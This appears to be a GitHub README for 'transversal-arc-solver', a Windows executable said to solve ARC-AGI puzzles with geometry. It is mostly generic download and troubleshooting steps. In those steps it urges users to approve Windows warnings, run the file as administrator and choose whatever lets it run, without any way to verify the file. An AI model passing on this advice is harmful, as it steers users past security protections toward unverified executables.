🧭 transversal-arc-solver - Solve ARC tasks with geometry

📥 Download

Visit this page to download: GitHub Releases

Pick the latest release for Windows. Download the file that matches your system. If you see more than one file, choose the .exe file for the easiest setup.

🖥️ What this app does

transversal-arc-solver helps solve ARC-AGI style grid puzzles by using Plücker geometry. It is built to run on Windows and works as a ready-to-use app, so you do not need to install a Python setup or learn command-line tools.

It is made for users who want to:

• open the app
• load a puzzle
• run the solver
• review the result

The solver uses a rule-based method and does not rely on training data during use.

⚙️ System requirements

Use a Windows PC with:

• Windows 10 or Windows 11
• At least 4 GB RAM
• 100 MB free disk space
• A mouse and keyboard
• Internet access for the initial download

For smoother use, 8 GB RAM or more helps when working with larger puzzle sets.

🚀 Getting started

1. Open the Releases page
2. Find the newest release at the top of the page
3. Download the Windows file
4. If Windows asks for approval, choose to keep or run the file
5. Open the app after the download finishes

If the download comes as a .zip file:

1. Right-click the file
2. Choose Extract All
3. Open the extracted folder
4. Double-click the app file inside

🧭 How to run it

After you open the app:

1. Start the program from the .exe file
2. Load an ARC puzzle file or select an example puzzle
3. Click the solve button
4. Wait while the app processes the puzzle
5. View the solved grid or the best match it finds

If the app shows a results list, pick the top result first. That is usually the best fit for the puzzle.

📂 File types you may see

Common release files can include:

• .exe — the app file for Windows
• .zip — a compressed folder that you need to extract
• .txt — readme or release notes
• .json — puzzle data or sample input

If you download a .zip, extract it before running the app. If you download an .exe, open it directly.

🔍 What to expect from the solver

The app focuses on ARC tasks that use grid structure, symmetry, object layout, and line relations. It works from geometric rules and pattern checks.

You may see features like:

• puzzle input loading
• automatic grid analysis
• candidate solution ranking
• side-by-side result viewing
• simple save options

The output may not always be perfect. If there are several valid matches, the app may show more than one.

🧩 Basic workflow

A simple run looks like this:

1. Open the program
2. Load a puzzle
3. Start the solve step
4. Wait for the result
5. Compare the output with the target grid
6. Try another puzzle if needed

If the app offers sample puzzles, use those first. That helps you learn the flow before you try a full ARC task.

🛠️ Troubleshooting

If the app does not open:

• Check that the download finished
• Make sure you extracted the .zip file if there is one
• Right-click the app and choose Run as administrator
• Check whether Windows blocked the file

If the app opens and closes fast:

• Download the file again
• Make sure you picked the Windows build
• Try the newest release

If you see a blank window:

• Wait a few seconds
• Close the app and open it again
• Try a sample puzzle first

If Windows asks for extra permission:

• Choose the option that lets the app run
• If you are unsure, check the release page for the latest file name

🗂️ Example use case

Use this app when you want to test ARC puzzle ideas without setting up a research environment. It is a fit for:

• puzzle practice
• result checking
• ARC-AGI experiments
• geometry-based puzzle analysis

🧰 Tips for best results

• Use the latest release
• Keep the app in a simple folder like Downloads or Desktop
• Do not rename files unless the release notes ask you to
• Start with small sample puzzles
• Keep the extracted folder together if you use a .zip

📋 Common questions

Does this need Python?

No. The goal is to give you a ready-to-run Windows app.

Does it work on Mac or Linux?

This project is centered on Windows use. If other builds appear on the release page, use the file made for your system.

Do I need to know code?

No. You only need to download the file, open it, and use the app window.

Is the solver automatic?

Yes. The app handles the puzzle analysis after you load a task and start the solve step

🧪 What the name means

• transversal points to line crossing and relation checks
• arc refers to ARC-AGI puzzle tasks
• solver tells you the app tries to find a valid answer

The name matches the method used inside the app: geometry-based puzzle solving with no learning step during use
